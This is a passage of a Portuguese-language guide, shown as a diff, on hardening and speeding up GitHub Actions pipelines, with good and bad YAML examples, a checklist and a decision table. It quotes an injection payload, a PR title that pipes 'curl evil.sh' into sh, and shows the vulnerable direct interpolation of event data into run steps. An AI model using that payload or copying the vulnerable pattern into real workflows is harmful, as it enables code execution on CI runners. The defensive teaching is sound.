+ 6. **`${{ github.event.* }}` direto dentro de `run:`** — injeção de script. Um título de PR
30
+ `"; curl evil.sh | sh; "` executa no runner.
31
+ 7. **Deploy sem gate** — `on: push` na main dispara deploy em produção sem reviewer, sem
32
+ environment, sem branch policy.
33
+
34
+ A régua deste pack: **toda decisão de pipeline precisa ter justificativa de segurança OU de
35
+ velocidade.** Default não-justificado é dívida.
36
+
37
+ ## O conhecimento
38
+
39
+ ### 1. PIN de actions por SHA completo, nunca por tag
40
+
41
+ Pinar no SHA de 40 caracteres é a **única** forma de usar uma action como release imutável. Amarre o
42
+ SHA a uma versão real (não a um commit arbitrário do default branch) e deixe a versão em comentário.
43
+
44
+ ```yaml
45
+ # ruim — tag é mutável, pode ser movida pra um commit malicioso
46
+ - uses: actions/checkout@v4
47
+ - uses: actions/setup-node@v4
48
+
49
+ # bom — SHA completo + comentário com a versão pra Dependabot/humano rastrear
50
+ - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
51
+ - uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
52
+ ```
53
+
54
+ > Dependabot **não** alerta sobre actions pinadas por SHA usando o ecossistema padrão — configure
55
+ > `package-ecosystem: "github-actions"` em `.github/dependabot.yml` pra ele propor o bump do SHA por
56
+ > você, mantendo o pin sem virar trabalho manual.
57
+
58
+ ### 2. `permissions` least-privilege — read no topo, eleva por job
59
+
60
+ Workflow sem `permissions` herda o default do repo (geralmente read/write em tudo). Declare
61
+ `contents: read` no topo e **eleve só no job que precisa**.
62
+
63
+ ```yaml
64
+ # ruim — sem bloco permissions: herda read/write em tudo
65
+ name: CI
66
+ on: [push]
67
+ jobs:
68
+ build: ...
69
+
70
+ # bom — default mínimo no topo, elevação cirúrgica por job
71
+ name: CI
72
+ on: [push]
73
+
74
+ permissions:
75
+ contents: read # default pra todos os jobs
76
+
77
+ jobs:
78
+ release:
79
+ permissions:
80
+ contents: write # só este job pode escrever (criar tag/release)
81
+ pull-requests: write
82
+ runs-on: ubuntu-latest
83
+ steps:
84
+ - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
85
+ ```
86
+
87
+ Escopos válidos do `GITHUB_TOKEN`: `contents`, `pull-requests`, `issues`, `deployments`, `checks`,
88
+ `statuses`, `packages`, `id-token`, `actions`, `security-events`. Para forçar que **cada** job
89
+ declare explicitamente o que precisa, use `permissions: {}` no topo (zera tudo).
90
+
91
+ ### 3. OIDC no lugar de secrets de longa duração
92
+
93
+ Para autenticar em cloud (AWS/GCP/Azure), use OpenID Connect: o GitHub emite um JWT efêmero por run
94
+ e a cloud troca por credencial temporária. Você para de guardar `AWS_ACCESS_KEY_ID` como secret.
95
+
96
+ ```yaml
97
+ # ruim — chave de longa duração no secrets store, vaza e vale pra sempre
98
+ jobs:
99
+ deploy:
100
+ runs-on: ubuntu-latest
101
+ steps:
102
+ - uses: aws-actions/configure-aws-credentials@v4
103
+ with:
104
+ aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
105
+ aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
106
+
107
+ # bom — OIDC: id-token: write + role-to-assume, zero credencial guardada
108
+ permissions:
109
+ id-token: write # obrigatório pro GitHub emitir o JWT
110
+ contents: read
111
+ jobs:
112
+ deploy:
113
+ runs-on: ubuntu-latest
114
+ steps:
115
+ - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
116
+ with:
117
+ role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
118
+ aws-region: us-east-1
119
+ ```
120
+
121
+ > O `id-token: write` precisa estar no job que faz a troca. Sem ele o GitHub não emite o JWT e o
122
+ > `configure-aws-credentials` falha.
123
+
124
+ ### 4. Jobs separados (build / lint / test) com paralelismo
125
+
126
+ Um job monolítico serializa tudo. Separe em jobs paralelos e use `needs:` só onde há dependência
127
+ real. Lint e test não dependem um do outro — rodam em paralelo.
128
+
129
+ ```yaml
130
+ # ruim — tudo num job, serializado, ~12 min
131
+ jobs:
132
+ ci:
133
+ runs-on: ubuntu-latest
134
+ steps:
135
+ - run: npm ci
136
+ - run: npm run lint
137
+ - run: npm test
138
+ - run: npm run build
139
+
140
+ # bom — lint e test em paralelo; build espera o que importa
141
+ jobs:
142
+ lint:
143
+ runs-on: ubuntu-latest
144
+ steps:
145
+ - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
146
+ - uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
147
+ with: { node-version: 20, cache: npm }
148
+ - run: npm ci
149
+ - run: npm run lint
150
+
151
+ test:
152
+ runs-on: ubuntu-latest
153
+ steps:
154
+ - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
155
+ - uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
156
+ with: { node-version: 20, cache: npm }
157
+ - run: npm ci
158
+ - run: npm test
159
+
160
+ build:
161
+ needs: [lint, test] # só builda se lint e test passarem
162
+ runs-on: ubuntu-latest
163
+ steps:
164
+ - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
165
+ - run: npm ci && npm run build
166
+ ```
167
+
168
+ ### 5. Cache de dependências — built-in do setup-node
169
+
170
+ Não monte cache de `node_modules` na mão. O `setup-node` cacheia via `actions/cache` por baixo, com
171
+ chave derivada do lockfile. Para casos fora dele (ex.: `.next/cache`), use `actions/cache` explícito.
172
+
173
+ ```yaml
174
+ # bom — cache automático de npm/yarn/pnpm pelo próprio setup-node
175
+ - uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
176
+ with:
177
+ node-version: 20
178
+ cache: npm # invalida sozinho quando o package-lock.json muda
179
+
180
+ # bom — cache explícito pra build artifacts (chave no lockfile)
181
+ - uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94ea4f9 # v4.0.2
182
+ with:
183
+ path: .next/cache
184
+ key: ${{ runner.os }}-nextjs-${{ hashFiles('package-lock.json') }}
185
+ ```
186
+
187
+ ### 6. Matrix para cobrir versões sem multiplicar workflow
188
+
189
+ Use `strategy.matrix` pra rodar a mesma suíte em várias versões/OS. Em CI de PR, `fail-fast: true`
190
+ (default) economiza runner abortando ao primeiro fail; em release, `fail-fast: false` para ver
191
+ **todas** as falhas de uma vez.
192
+
193
+ ```yaml
194
+ # bom — uma definição, N combinações
195
+ strategy:
196
+ fail-fast: false # vê todas as falhas, não para na primeira
197
+ matrix:
198
+ node-version: [18, 20, 22]
199
+ os: [ubuntu-latest, windows-latest]
200
+ runs-on: ${{ matrix.os }}
201
+ steps:
202
+ - uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
203
+ with:
204
+ node-version: ${{ matrix.node-version }}
205
+ cache: npm
206
+ ```
207
+
208
+ ### 7. `concurrency` — cancela runs obsoletos
209
+
210
+ Sem isso, cada push novo deixa os runs antigos rodando até o fim. Agrupe por workflow + ref e
211
+ cancele o que está em andamento. Para PR, use `head_ref` com fallback no `run_id` (evita cancelar
212
+ runs de push da main entre si).
213
+
214
+ ```yaml
215
+ # bom — novo push no mesmo branch cancela o run anterior daquele branch
216
+ concurrency:
217
+ group: ${{ github.workflow }}-${{ github.ref }}
218
+ cancel-in-progress: true
219
+
220
+ # bom — variante PR-safe: agrupa por head_ref, cai pro run_id fora de PR
221
+ concurrency:
222
+ group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}
223
+ cancel-in-progress: true
224
+ ```
225
+
226
+ > **Não** ative `cancel-in-progress: true` em jobs de **deploy/produção** — cancelar um deploy no
227
+ > meio pode deixar o ambiente num estado parcial. Use grupo de concorrência sem cancelamento
228
+ > (`cancel-in-progress: false`) pra serializar deploys.
229
+
230
+ ### 8. Não interpole `github.event.*` dentro de `run:` (injeção de script)
231
+
232
+ Contexto controlado pelo atacante (título de PR, nome de branch, corpo de issue) interpolado direto
233
+ no shell vira execução de código. Passe por `env:` — aí o valor vira variável e não toca a geração
234
+ do script.
235
+
236
+ ```yaml
237
+ # ruim — título de PR malicioso executa no runner
238
+ - run: echo "PR: ${{ github.event.pull_request.title }}"
239
+
240
+ # bom — valor vai pra env var, tratado como dado, não como código
241
+ - name: Check PR title
242
+ env:
243
+ TITLE: ${{ github.event.pull_request.title }}
244
+ run: echo "PR: $TITLE"
245
+ ```
246
+
247
+ > Evite `pull_request_target` e `workflow_run` com checkout de código não confiável — eles rodam com
248
+ > o token do repo base. Se precisar testar PR de fork, use `on: pull_request` (token sem permissão
249
+ > de write e sem secrets por padrão).
250
+
251
+ ### 9. Gates obrigatórios antes do merge e do deploy
252
+
253
+ Velocidade não pode atropelar controle. Duas camadas:
254
+
255
+ - **Branch protection (merge gate):** marque os jobs `lint`, `test`, `build` como **required status
256
+ checks** na proteção do branch. PR não mergeia se algum falhar. Exija PR review e, opcionalmente,
257
+ CODEOWNERS em `.github/workflows/` pra que mudança no próprio pipeline passe por reviewer.
258
+ - **Environments (deploy gate):** o job de deploy referencia um `environment:` com **required
259
+ reviewers** (até 6 pessoas/times; basta 1 aprovar) e **deployment branch policy** (só `main`
260
+ deploya em prod). Habilite *prevent self-review*.
261
+
262
+ ```yaml
263
+ # bom — deploy travado atrás de environment com reviewer + secret só desse ambiente
264
+ jobs:
265
+ deploy-prod:
266
+ needs: [build]
267
+ runs-on: ubuntu-latest
268
+ environment:
269
+ name: production # required reviewers + branch policy configurados na UI/API
270
+ url: https://app.exemplo.com
271
+ permissions:
272
+ id-token: write
273
+ contents: read
274
+ steps:
275
+ - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
276
+ - run: ./deploy.sh
277
+ ```
278
+
279
+ ```text
280
+ # bom — .github/CODEOWNERS: mudança no pipeline exige aprovação do time
281
+ .github/workflows/ @org/devops
282
+ ```
283
+
284
+ ## Checklist
285
+
286
+ Antes de aprovar um pipeline — qualquer "não" é dívida a corrigir:
287
+
288
+ - [ ] Toda action está pinada por **SHA de 40 chars** com comentário de versão (nenhuma `@v4`/`@main`)?
289
+ - [ ] Existe bloco `permissions:` com `contents: read` no topo, elevando só nos jobs que precisam?
290
+ - [ ] Autenticação em cloud usa **OIDC** (`id-token: write` + `role-to-assume`), sem chave de longa duração em `secrets`?
291
+ - [ ] Build, lint e test estão em **jobs separados**, com `needs:` só onde há dependência real?
292
+ - [ ] Dependências têm **cache** (`cache: npm` no setup-node ou `actions/cache` com chave no lockfile)?
293
+ - [ ] Há `concurrency` com `cancel-in-progress: true` em CI (e **sem** cancelamento em deploy)?
294
+ - [ ] Nenhum `${{ github.event.* }}` interpolado direto em `run:` — tudo passa por `env:`?
295
+ - [ ] Os checks de CI são **required status checks** na branch protection?
296
+ - [ ] Deploy em prod está atrás de `environment:` com **required reviewers** e branch policy?
297
+ - [ ] `.github/dependabot.yml` tem `package-ecosystem: "github-actions"` pra bump dos SHAs?
298
+
299
+ ## Tabela de decisão
300
+
301
+ | Situação | Faça isto | Por quê |
302
+ |---|---|---|
303
+ | Referenciar uma action de terceiro | Pin no SHA de 40 chars + comentário `# vX.Y.Z` | Tag é mutável; SHA é imutável (caso `tj-actions/changed-files`) |
304
+ | Action é oficial (`actions/*`) | Mesmo assim, pin no SHA | Conta/org da action pode ser comprometida; pin protege igual |
305
+ | Workflow só lê código e roda testes | `permissions: { contents: read }` no topo | Default do repo costuma ser read/write — blast radius máximo |
306
+ | Job precisa criar tag/release/comentar PR | Elevar `contents: write` / `pull-requests: write` **só nesse job** | Least-privilege: o resto do workflow continua read-only |
307
+ | Deploy em AWS/GCP/Azure | OIDC (`id-token: write` + role) | Elimina credencial de longa duração que vaza e vale pra sempre |
308
+ | Lint e test independentes | Jobs paralelos, sem `needs` entre eles | Paraleliza; corta tempo de parede do CI |
309
+ | Build depende de lint+test verdes | `needs: [lint, test]` | Não desperdiça runner buildando código que já falhou |
310
+ | Cobrir várias versões de Node/OS | `strategy.matrix` | Uma definição, N combinações; sem duplicar workflow |
311
+ | CI de PR com matrix | `fail-fast: true` (default) | Aborta cedo, economiza runner |
312
+ | Suíte de release/diagnóstico | `fail-fast: false` | Quer ver **todas** as falhas de uma vez |
313
+ | Pushes frequentes no mesmo branch | `concurrency` + `cancel-in-progress: true` | Cancela runs obsoletos; só o último importa |
314
+ | Job de deploy / migração de prod | `concurrency` com `cancel-in-progress: false` | Cancelar no meio deixa ambiente em estado parcial |
315
+ | Usar título de PR / branch name no script | Passar por `env:`, nunca `${{ }}` em `run:` | Previne injeção de script via input controlado pelo atacante |
316
+ | Testar PR de fork | `on: pull_request` (não `pull_request_target`) | Token sem write e sem secrets; não checa out código não confiável com token privilegiado |
317
+ | Bloquear merge sem CI verde | Marcar jobs como required status checks | Gate determinístico no branch protection |
318
+ | Bloquear deploy sem aprovação humana | `environment:` com required reviewers + branch policy | Gate de produção; *prevent self-review* fecha o loop |